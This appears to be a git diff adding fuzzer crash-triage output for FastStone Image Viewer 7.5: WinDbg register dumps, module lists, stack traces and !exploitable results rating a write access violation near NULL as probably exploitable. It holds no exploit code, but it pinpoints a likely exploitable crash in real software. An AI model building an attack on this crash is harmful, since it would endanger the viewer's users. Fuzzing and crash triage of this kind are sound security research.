ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.98549e-021 4.44592e+033 4.51082e-014 -8.53865 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0037e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0037e000 f13c09c8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0037e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..3f389a1 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1BD8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1BD8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1bd8.1264): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e37b19 edx=00000000 esi=00000000 edi=0fc44fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.98549e-021 4.44592e+033 4.51082e-014 -8.53865 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0037e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0037e000 f13c09c8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0037e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..36b2940 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/42112/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4f119f7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e145011 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1C80: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1C80: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1c80.428): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e17b19 edx=00000000 esi=00000000 edi=07c22fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.707270054558844000000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.300000000000000000000e+0001 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.11502e-007 -2.51798e+033 3.31953e-038 0.00628942 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef 